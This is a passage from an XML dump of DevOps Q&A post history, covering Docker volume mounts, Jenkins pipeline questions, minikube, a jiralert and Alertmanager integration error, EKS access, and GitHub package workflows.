pros**&#xD;&#xA;&#xD;&#xA;if your CI is already built on Azure DevOps, the initial set up for Azure Artifacts may be a bit quicker. The basic functionality of hosting artifacts, so that they can be resolved by other builds will work for you.&#xD;&#xA;&#xD;&#xA;*Disclaimer: I'm a JFrog employee.*" ContentLicense="CC BY-SA 4.0" />
  <row Id="35303" PostHistoryTypeId="2" PostId="11541" RevisionGUID="1acb3e98-0e17-4b99-b56d-c0acf2ee9406" CreationDate="2020-05-06T23:40:46.027" UserId="21951" Text="You can use Docker volume mounts at run time.  For example:&#xD;&#xA;&#xD;&#xA;    $ mkdir -p app/src logs&#xD;&#xA;    $ touch app/src/foo.c logs/bar.txt&#xD;&#xA;    $ docker run --rm -v $PWD/app:/app -v $PWD/logs:/app/logs alpine ls -l /app /app/src /app/logs&#xD;&#xA;    /app:&#xD;&#xA;    total 8&#xD;&#xA;    drwxr-xr-x    2 1000     1000          4096 May  6 23:33 logs&#xD;&#xA;    drwxr-xr-x    2 1000     1000          4096 May  6 23:33 src&#xD;&#xA;&#xD;&#xA;    /app/logs:&#xD;&#xA;    total 0&#xD;&#xA;    -rw-r--r--    1 1000     1000             0 May  6 23:33 bar.txt&#xD;&#xA;&#xD;&#xA;    /app/src:&#xD;&#xA;    total 0&#xD;&#xA;    -rw-r--r--    1 1000     1000             0 May  6 23:33 foo.c&#xD;&#xA;&#xD;&#xA;This mounts two directories on the host into the docker container.  Notice in this example that inside the container, they are mount on inside the other." ContentLicense="CC BY-SA 4.0" />
  <row Id="35304" PostHistoryTypeId="2" PostId="11542" RevisionGUID="f6077f44-c573-414d-b696-314920775cde" CreationDate="2020-05-07T00:55:38.910" UserId="22154" Text="I was *almost* able to accomplish this with declarative pipeline. This allows you to exit the before the pipeline starts based on the outcome of a shell script. I was not able to get this working within the pipeline itself (either within or between stages).&#xD;&#xA;```&#xD;&#xA;node('master'){&#xD;&#xA;    env.status_code = sh(script: 'exit 0 # or 200 or other', returnStatus:true)&#xD;&#xA;}&#xD;&#xA;println 'status_code: ' + env.status_code&#xD;&#xA;if(env.status_code == '200'){&#xD;&#xA;    println 'Now is not the time to run the pipeline.'&#xD;&#xA;    println 'Exiting without running subsequent stages.'&#xD;&#xA;    currentBuild.result = 'SUCCESS'&#xD;&#xA;    return&#xD;&#xA;} else if(env.status_code == '0'){&#xD;&#xA;    println 'Time to run. Let\'s go!'&#xD;&#xA;} else {&#xD;&#xA;    error 'Unable to check if it\'s time to run.'&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;pipeline {&#xD;&#xA;  agent any&#xD;&#xA;  stages {&#xD;&#xA;      stage('Run only if exit status for was 0'){&#xD;&#xA;          steps{&#xD;&#xA;             sh 'echo hi'&#xD;&#xA;          }&#xD;&#xA;      }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`when` directive may help if you only want to skip certain stages, not exit entirely.&#xD;&#xA;&#xD;&#xA;https://www.jenkins.io/doc/book/pipeline/syntax/#when" ContentLicense="CC BY-SA 4.0" />
  <row Id="35305" PostHistoryTypeId="2" PostId="11543" RevisionGUID="8625d811-4482-4482-8552-f9accb90778c" CreationDate="2020-05-07T09:47:04.193" UserId="22159" Text="I'm just getting started on k8s and got stuck on running k8s locally (it's running, but I don't understand exactly)&#xD;&#xA;&#xD;&#xA;Pretty much all the tutorials on running k8s locally use minikube and I'm a little bit puzzled. &#xD;&#xA;&#xD;&#xA;Isn't docker + k8s combination enough to run k8s locally?&#xD;&#xA;&#xD;&#xA;Why do I need an extra layer with a virtual machine in order run k8s locally?&#xD;&#xA;&#xD;&#xA;I've read about minikube and followed tutorials on the offical k8s website, but I'm still puzzled. &#xD;&#xA;&#xD;&#xA;Can anyone shed light on me?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35306" PostHistoryTypeId="1" PostId="11543" RevisionGUID="8625d811-4482-4482-8552-f9accb90778c" CreationDate="2020-05-07T09:47:04.193" UserId="22159" Text="Why do I need tools like minikube or microk8s to run k8s locally?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35307" PostHistoryTypeId="3" PostId="11543" RevisionGUID="8625d811-4482-4482-8552-f9accb90778c" CreationDate="2020-05-07T09:47:04.193" UserId="22159" Text="&lt;kubernetes&gt;&lt;minikube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35308" PostHistoryTypeId="2" PostId="11544" RevisionGUID="2c1bb433-f6d1-4fdf-9a3a-647c3206f4cc" CreationDate="2020-05-07T12:05:48.643" UserId="17329" Text="Following the base instructions I can't create new Jira item through API request due to failing because of bad data.&#xD;&#xA;&#xD;&#xA;Testing with:&#xD;&#xA;curl -H &quot;Content-type: application/json&quot; -X POST -d '{&quot;receiver&quot;: &quot;prometheus-customer-non-production&quot;, &quot;status&quot;: &quot;firing&quot;, &quot;alerts&quot;: [{&quot;status&quot;: &quot;firing&quot;, &quot;labels&quot;: {&quot;alertname&quot;: &quot;TestAlert&quot;, &quot;key&quot;: &quot;value&quot;} }], &quot;groupLabels&quot;: {&quot;alertname&quot;: &quot;TestAlert&quot;}}' http://10.6.144.95:9097/alert&#xD;&#xA;&#xD;&#xA;(example: ip used)&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;{&quot;Error&quot;:true,&quot;Status&quot;:500,&quot;Message&quot;:&quot;JIRA request https://customer.atlassian.net/rest/api/2/issue returned status 400 Bad Request, body \&quot;{\\\&quot;errorMessages\\\&quot;:[],\\\&quot;errors\\\&quot;:{\\\&quot;priority\\\&quot;:\\\&quot;Field 'priority' cannot be set. It is not on the appropriate screen, or unknown.\\\&quot;,\\\&quot;labels\\\&quot;:\\\&quot;Field 'labels' cannot be set. It is not on the appropriate screen, or unknown.\\\&quot;}}\&quot;&quot;}&#xD;&#xA;&#xD;&#xA;Here is the configuration jiralert.yaml:&#xD;&#xA;```&#xD;&#xA;# Global defaults, applied to all receivers where not explicitly overridden. Optional.&#xD;&#xA;defaults:&#xD;&#xA;  # API access fields.&#xD;&#xA;  api_url: https://customer.atlassian.net&#xD;&#xA;  user: 'example@customer.com'&#xD;&#xA;  password: 'customerpassword'&#xD;&#xA;&#xD;&#xA;  # The type of JIRA issue to create. Required.&#xD;&#xA;  issue_type: Bug&#xD;&#xA;  # Issue priority. Optional.&#xD;&#xA;  priority: Low&#xD;&#xA;  # Go template invocation for generating the summary. Required.&#xD;&#xA;  summary: '{{ template &quot;jira.summary&quot; . }}'&#xD;&#xA;  # Go template invocation for generating the description. Optional.&#xD;&#xA;  description: '{{ template &quot;jira.description&quot; . }}'&#xD;&#xA;  # State to transition into when reopening a closed issue. Required.&#xD;&#xA;  reopen_state: &quot;To Do&quot;&#xD;&#xA;  # Do not reopen issues with this resolution. Optional.&#xD;&#xA;  wont_fix_resolution: &quot;Won't Fix&quot;&#xD;&#xA;  # Amount of time after being closed that an issue should be reopened, after which, a new issue is created.&#xD;&#xA;  # Optional (default: always reopen)&#xD;&#xA;  reopen_duration: 0h&#xD;&#xA;&#xD;&#xA;# Receiver definitions. At least one must be defined.&#xD;&#xA;receivers:&#xD;&#xA;    # Must match the Alertmanager receiver name. Required.&#xD;&#xA;  - name: 'prometheus-customer-non-production'&#xD;&#xA;    # JIRA project to create the issue in. Required.&#xD;&#xA;    project: customer&#xD;&#xA;    # Copy all Prometheus labels into separate JIRA labels. Optional (default: false).&#xD;&#xA;    add_group_labels: false&#xD;&#xA;&#xD;&#xA;# File containing template definitions. Required.&#xD;&#xA;template: jiralert.tmpl&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Below you can find versions info: &#xD;&#xA;&#xD;&#xA;Package release utilized -&gt; https://github.com/prometheus-community/jiralert/releases/download/1.0/jiralert-1.0.linux-amd64.tar.gz&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;cat /etc/*-release&#xD;&#xA;DISTRIB_ID=Ubuntu&#xD;&#xA;DISTRIB_RELEASE=18.04&#xD;&#xA;DISTRIB_CODENAME=bionic&#xD;&#xA;DISTRIB_DESCRIPTION=&quot;Ubuntu 18.04.2 LTS&quot;&#xD;&#xA;NAME=&quot;Ubuntu&quot;&#xD;&#xA;VERSION=&quot;18.04.2 LTS (Bionic Beaver)&quot;&#xD;&#xA;ID=ubuntu&#xD;&#xA;ID_LIKE=debian&#xD;&#xA;PRETTY_NAME=&quot;Ubuntu 18.04.2 LTS&quot;&#xD;&#xA;VERSION_ID=&quot;18.04&quot;&#xD;&#xA;HOME_URL=&quot;https://www.ubuntu.com/&quot;&#xD;&#xA;SUPPORT_URL=&quot;https://help.ubuntu.com/&quot;&#xD;&#xA;BUG_REPORT_URL=&quot;https://bugs.launchpad.net/ubuntu/&quot;&#xD;&#xA;PRIVACY_POLICY_URL=&quot;https://www.ubuntu.com/legal/terms-and-policies/privacy-policy&quot;&#xD;&#xA;VERSION_CODENAME=bionic&#xD;&#xA;UBUNTU_CODENAME=bionic&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;kubectl version&#xD;&#xA;Client Version: version.Info{Major:&quot;1&quot;, Minor:&quot;14&quot;, GitVersion:&quot;v1.14.1&quot;, GitCommit:&quot;b7394102d6ef778017f2ca4046abbaa23b88c290&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-04-08T17:11:31Z&quot;, GoVersion:&quot;go1.12.1&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;Server Version: version.Info{Major:&quot;1&quot;, Minor:&quot;14&quot;, GitVersion:&quot;v1.14.3&quot;, GitCommit:&quot;5e53fd6bc17c0dec8434817e69b04a25d8ae0ff0&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-06-06T01:36:19Z&quot;, GoVersion:&quot;go1.12.5&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;helm list prometheus-operator --tiller-namespace=monitoring&#xD;&#xA;NAME                    REVISION        UPDATED                         STATUS          CHART                           APP VERSION     NAMESPACE&#xD;&#xA;prometheus-operator     3               Thu Apr  9 16:44:37 2020        DEPLOYED        prometheus-operator-8.12.12     0.37.0          monitoring&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35309" PostHistoryTypeId="1" PostId="11544" RevisionGUID="2c1bb433-f6d1-4fdf-9a3a-647c3206f4cc" CreationDate="2020-05-07T12:05:48.643" UserId="17329" Text="Alertmanager jiralert intgration" ContentLicense="CC BY-SA 4.0" />
  <row Id="35310" PostHistoryTypeId="3" PostId="11544" RevisionGUID="2c1bb433-f6d1-4fdf-9a3a-647c3206f4cc" CreationDate="2020-05-07T12:05:48.643" UserId="17329" Text="&lt;prometheus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35314" PostHistoryTypeId="5" PostId="11505" RevisionGUID="f9ec280b-b1b2-44fb-8dc7-29c6d5350782" CreationDate="2020-05-07T14:43:04.893" UserId="22075" Comment="added 115 characters in body" Text="Did you try by specifying a storageClassName since Kubernetes will be using default storage class when it's not specified?&#xD;&#xA;See [Dynamic Provisioning][1] of the blog post and [Dynamic][2] from Kubernetes documentation?&#xD;&#xA;Or try with by removing the default storageclass in the cluster to explicitly use given PV and PVC configuration.&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/blog/2017/03/dynamic-provisioning-and-storage-classes-kubernetes/&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/storage/persistent-volumes/" ContentLicense="CC BY-SA 4.0" />
  <row Id="35321" PostHistoryTypeId="2" PostId="11548" RevisionGUID="3a07468f-5831-49f6-afe7-969fb5176ef8" CreationDate="2020-05-07T15:21:21.197" UserId="22121" Text="With this Jenkinsfile code, I am trying to test A/B folder creation, and also testing if waitUntil works till the folder is created, I expect it to wait for 0 secs as the folder is created before `waitUntil` gets called.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;stage('other job') {&#xD;&#xA;                    steps {&#xD;&#xA;                        script {&#xD;&#xA;                            timeout(10) {&#xD;&#xA;                                def folder = new File( 'A/B' )&#xD;&#xA;                                println &quot;Waiting for &quot; + folder&#xD;&#xA;                                println &quot;fe==&quot; + folder.exists()&#xD;&#xA;                                waitUntil {&#xD;&#xA;                                    if(folder.exists()) {&#xD;&#xA;                                        return(true)&#xD;&#xA;                                    }&#xD;&#xA;                                }&#xD;&#xA;                            }&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It fails with below error, what's wrong here? the folder is not gerrit created in workspace.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Timeout set to expire in 10 min&#xD;&#xA;[Pipeline] {&#xD;&#xA;[Pipeline] // stage&#xD;&#xA;[Pipeline] }&#xD;&#xA;[Pipeline] echo&#xD;&#xA;Waiting for A/B&#xD;&#xA;[Pipeline] echo&#xD;&#xA;fe==false&#xD;&#xA;[Pipeline] waitUntil&#xD;&#xA;[Pipeline] {&#xD;&#xA;[Pipeline] }&#xD;&#xA;[Pipeline] // waitUntil&#xD;&#xA;[Pipeline] }&#xD;&#xA;[Pipeline] // timeout&#xD;&#xA;...&#xD;&#xA;Failed in branch other job&#xD;&#xA;...&#xD;&#xA;[Pipeline] End of Pipeline&#xD;&#xA;java.lang.ClassCastException: body return value null is not boolean&#xD;&#xA;	at org.jenkinsci.plugins.workflow.steps.WaitForConditionStep$Callback.onSuccess(WaitForConditionStep.java:167)&#xD;&#xA;	at org.jenkinsci.plugins.workflow.cps.CpsBodyExecution$SuccessAdapter.receive(CpsBodyExecution.java:377)&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35322" PostHistoryTypeId="1" PostId="11548" RevisionGUID="3a07468f-5831-49f6-afe7-969fb5176ef8" CreationDate="2020-05-07T15:21:21.197" UserId="22121" Text="Jenkinsfile script to waitUntil a folder is created" ContentLicense="CC BY-SA 4.0" />
  <row Id="35323" PostHistoryTypeId="3" PostId="11548" RevisionGUID="3a07468f-5831-49f6-afe7-969fb5176ef8" CreationDate="2020-05-07T15:21:21.197" UserId="22121" Text="&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35327" PostHistoryTypeId="2" PostId="11550" RevisionGUID="7aa05919-d172-4412-9ff4-3ac82b3877aa" CreationDate="2020-05-07T15:34:49.893" UserId="22165" Text="I don't think volumes can be specified with relative paths. &#xD;&#xA;Put an absolute path instead of `./elastic-stack-ca.p12` and you should be fine." ContentLicense="CC BY-SA 4.0" />
  <row Id="35335" PostHistoryTypeId="2" PostId="11553" RevisionGUID="730b921b-6ded-40b5-afb0-38b1b5b18162" CreationDate="2020-05-07T19:44:42.793" UserId="20031" Text="I am completely new to the jenkins pipeline. I'm trying to create a project with multiple stages but in my `Import` stage , I want to execute `parallel`. For each `stage` in `parallel` , I have again multiple `stages`. I'm trying the following way, but getting syntax error as `It is not allowed to use stages more than once`.Can someone correct me how to achieve this, I have tried some online resources but unable to get clear syntax.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;      agent any&#xD;&#xA;      stages {&#xD;&#xA;        stage('Build') {&#xD;&#xA;          steps {&#xD;&#xA;            echo 'from build'&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;        stage('Import') {&#xD;&#xA;          parallel {&#xD;&#xA;            stages(&quot;Import_A&quot;) { stage(&quot;Tests_A&quot;) { steps {echo 'from A'}} stage(&quot;Publish&quot;) {echo 'from Publish' } }&#xD;&#xA;            stages(&quot;Import_B&quot;) { stage(&quot;Tests_B&quot;) {steps {echo 'from B'} } }&#xD;&#xA;            stages(&quot;Import_C&quot;) {  stage(&quot;Tests_C&quot;) {steps {echo 'from C'} }}&#xD;&#xA;            &#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;I want to create something like this&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/aV4iP.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="35336" PostHistoryTypeId="1" PostId="11553" RevisionGUID="730b921b-6ded-40b5-afb0-38b1b5b18162" CreationDate="2020-05-07T19:44:42.793" UserId="20031" Text="It is not allowed to use stages more than once [Jenkins_Declarative_Pipeline]" ContentLicense="CC BY-SA 4.0" />
  <row Id="35337" PostHistoryTypeId="3" PostId="11553" RevisionGUID="730b921b-6ded-40b5-afb0-38b1b5b18162" CreationDate="2020-05-07T19:44:42.793" UserId="20031" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35343" PostHistoryTypeId="2" PostId="11555" RevisionGUID="7e19db73-9fad-4182-a03d-e48d181a155b" CreationDate="2020-05-07T23:43:03.767" UserId="20393" Text="Using `docker-compose` version 3.3 extensions and with the long variants for `ports` &amp; `volumes`:&#xD;&#xA;&#xD;&#xA;    version: '3.3'&#xD;&#xA;    services:&#xD;&#xA;      s1: &amp;s&#xD;&#xA;        build: .&#xD;&#xA;        ports:&#xD;&#xA;        - published: 5001&#xD;&#xA;          target: 9000&#xD;&#xA;        volumes:&#xD;&#xA;        - source: ../www1&#xD;&#xA;          target: /var/www&#xD;&#xA;      s2:&#xD;&#xA;        &lt;&lt;: *s&#xD;&#xA;        ports:&#xD;&#xA;        - published: 5002&#xD;&#xA;        volumes:&#xD;&#xA;        - source: ../www2&#xD;&#xA;      s3:&#xD;&#xA;        &lt;&lt;: *s&#xD;&#xA;        ports:&#xD;&#xA;        - published: 5003&#xD;&#xA;        volumes:&#xD;&#xA;        - source: ../www3&#xD;&#xA;&#xD;&#xA;Not really more compact, but native :-)&#xD;&#xA;&#xD;&#xA;Version 3.4 introduced [further improvements into making docker-compose.yml more DRY][1]. &#xD;&#xA;&#xD;&#xA;Perhaps someone more experienced will point to even greater developments yet!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/@kinghuang/docker-compose-anchors-aliases-extensions-a1e4105d70bd" ContentLicense="CC BY-SA 4.0" />
  <row Id="35344" PostHistoryTypeId="6" PostId="11318" RevisionGUID="f59cd19d-c82c-42b3-9a56-f0f178fc876e" CreationDate="2020-05-07T23:44:46.623" UserId="20393" Comment="added a tag" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;yaml&gt;&lt;shell-script&gt;&lt;templating&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35345" PostHistoryTypeId="6" PostId="11553" RevisionGUID="db66041d-4680-45bc-b60f-96d221d0e8fc" CreationDate="2020-05-08T05:51:36.383" UserId="20031" Comment="edited tags" Text="&lt;jenkins-pipeline&gt;&lt;build-pipeline&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35346" PostHistoryTypeId="5" PostId="11506" RevisionGUID="0ec0415a-8584-4d9f-abb5-e24c0aca05b9" CreationDate="2020-05-08T07:49:05.047" UserId="22081" Comment="assignment" Text="We're a software team currently trying to hire a DevOps Engineer.&#xD;&#xA;&#xD;&#xA;We have an assessment for Software Developer candidates and we're currently evaluating the idea of having an assessment for our DevOps Engineer candidates. Since we have not hired DevOps people before and barely know a few, it would help us greatly.&#xD;&#xA;&#xD;&#xA;What would be your advice ? &#xD;&#xA;If you support there should be an assessment, then what would be the content ?&#xD;&#xA;&#xD;&#xA;### EDIT(Additional Info):&#xD;&#xA;-  We need to hire a DevOps Engineer to bootstrap our all DevOps process/culture.&#xD;&#xA;-  We have more than 100 servers. Around 20 different apps on them.&#xD;&#xA;&#xD;&#xA;- We want him/her to;&#xD;&#xA;&#xD;&#xA; -  Install a main devops tool like Jenkins or Teamcity &#xD;&#xA; -  Build the pipelines for all this apps and servers&#xD;&#xA; -  CIntegration, CDelivery, CDeployment depending on what app does&#xD;&#xA; -  help migrate to Linux and/or docker&#xD;&#xA;&#xD;&#xA;### About assessment&#xD;&#xA;- It must be about building and deploying a few apps interacting with each other to different targets with different configurations.&#xD;&#xA;&#xD;&#xA;### EDIT 2(answers):&#xD;&#xA;Thanks for answers. While reading them, I'll answer the questions to make the backstory clearer.&#xD;&#xA;&#xD;&#xA;@taleodor&#xD;&#xA;&#xD;&#xA;* Developers including me are doing provisioning/build/deployments. We're very unhappy about that.&#xD;&#xA;* Unfortunately, we can only hire one person for all our expectations. &#xD;&#xA;  * We have plenty of time to put everything together, so it should not be problem for anyone who's willing to do all the stuff.&#xD;&#xA;* Assignment will be take-at-home and candidates will be given a few days to complete. No problem about that. After all assessment is complementary to interview.&#xD;&#xA;* I know a few DevOps people. I may get their help for evaluating assessments.&#xD;&#xA;&#xD;&#xA;@030&#xD;&#xA;&#xD;&#xA;I agree the devs automating their stuff is much better than another person doing that. But we have a big backlog about devops. We need someone to show us the way while doing the bulk of it himself/herself. We are not considering to totally forget the process. We want exact opposite: we want to do things right but we don't know where to start and don't have time.&#xD;&#xA;&#xD;&#xA;I installed Jenkins. Set up pipelines for some of the projects. But I am a senior developer. Neither me nor my executive wants my all time spent on this.&#xD;&#xA;&#xD;&#xA;### EDIT 3(What I came up with):&#xD;&#xA;This is roughly the assignment I brought together. What do you think ? What else can be here ?&#xD;&#xA;&#xD;&#xA;- Install Jenkins on a platform on your choice&#xD;&#xA;- Dockerize .net project given.&#xD;&#xA;- Build two pipelines with unit test automation.&#xD;&#xA;- Build and host database.&#xD;&#xA;- You must be delivering us your scripts and an account to jenkins." ContentLicense="CC BY-SA 4.0" />
  <row Id="35347" PostHistoryTypeId="50" PostId="5144" RevisionGUID="5f9f3ab3-0f10-4919-b233-acfb91b5ac3c" CreationDate="2020-05-08T08:05:20.560" UserId="-1" />
  <row Id="35348" PostHistoryTypeId="50" PostId="10060" RevisionGUID="18d34918-2ece-4e2b-821c-3c5a835017f5" CreationDate="2020-05-08T10:05:10.500" UserId="-1" />
  <row Id="35349" PostHistoryTypeId="2" PostId="11556" RevisionGUID="0655c2fc-4dd8-4a0e-92d5-05ccff202692" CreationDate="2020-05-08T11:15:08.283" UserId="17579" Text="Kubernetes has several system-level parts.  It needs a functioning etcd cluster, the API server proper, and a per-node service called the kubelet.  It also generally expects to be able to use 100% of the resources available on any given node for its own use.  Just having the `kubectl` binary on its own isn't enough to use Kubernetes; you also need the rest of the cluster that goes with it.&#xD;&#xA;&#xD;&#xA;There's no specific reason you can't directly install all of the Kubernetes cluster parts on the host (using [`kubeadm`](https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/install-kubeadm/), or [Minikube's &quot;none&quot; VM driver](https://minikube.sigs.k8s.io/docs/drivers/none/)), but it will be trickier to maintain.  It may or may not conflict with local Docker use, and it will be tricky to uninstall or upgrade it.  If you run Minikube in a VM (or [Kind](https://kind.sigs.k8s.io) in a Docker container) then all of the parts are preinstalled for you, and you can easily stop or delete the VM (or container) when you don't need it any more." ContentLicense="CC BY-SA 4.0" />
  <row Id="35350" PostHistoryTypeId="2" PostId="11557" RevisionGUID="bcae09e6-5907-4e99-8baf-4033dc63c294" CreationDate="2020-05-08T16:06:56.313" UserId="4115" Text="Your block expression doesn't return a value in all cases.&#xD;&#xA;&#xD;&#xA;Try this instead:&#xD;&#xA;&#xD;&#xA;    waitUntil { folder.exists() }" ContentLicense="CC BY-SA 4.0" />
  <row Id="35351" PostHistoryTypeId="2" PostId="11558" RevisionGUID="d18f4e61-b33d-4b98-be3a-11a9fc46c8bb" CreationDate="2020-05-08T18:56:03.920" UserId="22121" Text="We do have this configuration in our GUI based Jenkins project, trying to convert it to Jenkins pipeline, couldn't find how to add `precurse-build` as dependent build as shown in red below.&#xD;&#xA;&#xD;&#xA;[![Gerrit Trigger Plugin options][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ZqKEf.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I added below below pipeline code to trigger the build when`run_job` is added as gerrit comment, and it works good, would anyone please show me how to add `Other jobs on which this job depends` to this?&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    triggers {&#xD;&#xA;         gerrit dynamicTriggerConfiguration: 'true',&#xD;&#xA;                triggerConfigURL: 'https://some/url/path/trigger.txt',&#xD;&#xA;                serverName: 'gerrit-server',&#xD;&#xA;                triggerOnEvents: [&#xD;&#xA;                    commentAddedContains('^run_job$')&#xD;&#xA;                ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    stages {&#xD;&#xA;       ...&#xD;&#xA;       ...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35352" PostHistoryTypeId="1" PostId="11558" RevisionGUID="d18f4e61-b33d-4b98-be3a-11a9fc46c8bb" CreationDate="2020-05-08T18:56:03.920" UserId="22121" Text="How to add job dependency to gerrit trigger in Jenkins pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35353" PostHistoryTypeId="3" PostId="11558" RevisionGUID="d18f4e61-b33d-4b98-be3a-11a9fc46c8bb" CreationDate="2020-05-08T18:56:03.920" UserId="22121" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35354" PostHistoryTypeId="2" PostId="11559" RevisionGUID="d227d0c6-1833-4a21-a5ec-d919803fd753" CreationDate="2020-05-08T19:35:25.203" UserId="22075" Text="We're using Docker EE Kubernetes on-prem set up and noticed that cluster(s) don't have default StorageClass set up. To the best of my knowledge this is supposed to be set up during install/set up, but not done here.&#xD;&#xA;&#xD;&#xA;I am aware of steps and have YAML in place to create a PV and StoageClass but trying to understand if there are any best practices and 'right' approach to set that up?&#xD;&#xA;&#xD;&#xA;I came across [nfs-volume][1] but still not clear if we need a separate NFS drive/server, or can we use one of the nodes for creating the StorageClass(SC)?&#xD;&#xA;&#xD;&#xA;Also we don't want the SC to be available for other namespaces or pods as I need to set up SC as a pre-requisite for installing an Ingress Controller.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/ee/ucp/kubernetes/storage/use-nfs-volumes/#exposing-nfs-shares-as-a-cluster-object" ContentLicense="CC BY-SA 4.0" />
  <row Id="35355" PostHistoryTypeId="1" PostId="11559" RevisionGUID="d227d0c6-1833-4a21-a5ec-d919803fd753" CreationDate="2020-05-08T19:35:25.203" UserId="22075" Text="Default StorageClass set up for Docker EE Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="35356" PostHistoryTypeId="3" PostId="11559" RevisionGUID="d227d0c6-1833-4a21-a5ec-d919803fd753" CreationDate="2020-05-08T19:35:25.203" UserId="22075" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;ingress&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35397" PostHistoryTypeId="2" PostId="11560" RevisionGUID="4b6c1499-b695-4e85-bc8c-a6450fa0caf1" CreationDate="2020-05-09T06:45:34.570" UserId="17329" Text="I have no programmatic access for the user who created the cluster only graphical.&#xD;&#xA;I tried a lot of things and I always get access denied on kubectl as I have to use another IAM identity that has programmatic access.&#xD;&#xA;I assume there is some trick with STS but I don't have the access keys of the root account.&#xD;&#xA;I guess if I give graphic access to the IAM identity that I want to use, it will work out, but I want to know if there is a way with my current situation. Also using the aws-cli is not an option for creation in the given scenario." ContentLicense="CC BY-SA 4.0" />
  <row Id="35398" PostHistoryTypeId="1" PostId="11560" RevisionGUID="4b6c1499-b695-4e85-bc8c-a6450fa0caf1" CreationDate="2020-05-09T06:45:34.570" UserId="17329" Text="EKS - created cluster from console with federated IAM admin - how to access" ContentLicense="CC BY-SA 4.0" />
  <row Id="35399" PostHistoryTypeId="3" PostId="11560" RevisionGUID="4b6c1499-b695-4e85-bc8c-a6450fa0caf1" CreationDate="2020-05-09T06:45:34.570" UserId="17329" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35400" PostHistoryTypeId="2" PostId="11561" RevisionGUID="7d7f33b7-7dc4-4604-87fb-b36e0128c485" CreationDate="2020-05-09T07:40:43.617" UserId="22191" Text="I am trying to use the basic .NET Core Github workflow as shown [here][1], but I am having trouble with a GitHub package I [created][2]. When the workflow gets to the Install Depedencies which performs a donet restore, it appears to not be able to find the package when running on my WebAPI repo [here][3].&#xD;&#xA;&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;Do I need to explicitly reference the package somehow not just against the csproj files or something else and how do I do it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/actions/starter-workflows/blob/master/ci/dotnet-core.yml&#xD;&#xA;  [2]: https://github.com/MyLibrary-com/my-library-common&#xD;&#xA;  [3]: https://github.com/MyLibrary-com/my-library-web-api&#xD;&#xA;  [4]: https://i.stack.imgur.com/0XtcY.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="35401" PostHistoryTypeId="1" PostId="11561" RevisionGUID="7d7f33b7-7dc4-4604-87fb-b36e0128c485" CreationDate="2020-05-09T07:40:43.617" UserId="22191" Text="How do I add my own package to a GitHub workflow?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35402" PostHistoryTypeId="3" PostId="11561" RevisionGUID="7d7f33b7-7dc4-4604-87fb-b36e0128c485" CreationDate="2020-05-09T07:40:43.617" UserId="22191" Text="&lt;continuous-integration&gt;&lt;github&gt;&lt;workflow&gt;&lt;nuget&gt;" ContentLicense="CC BY-SA 4.0" />
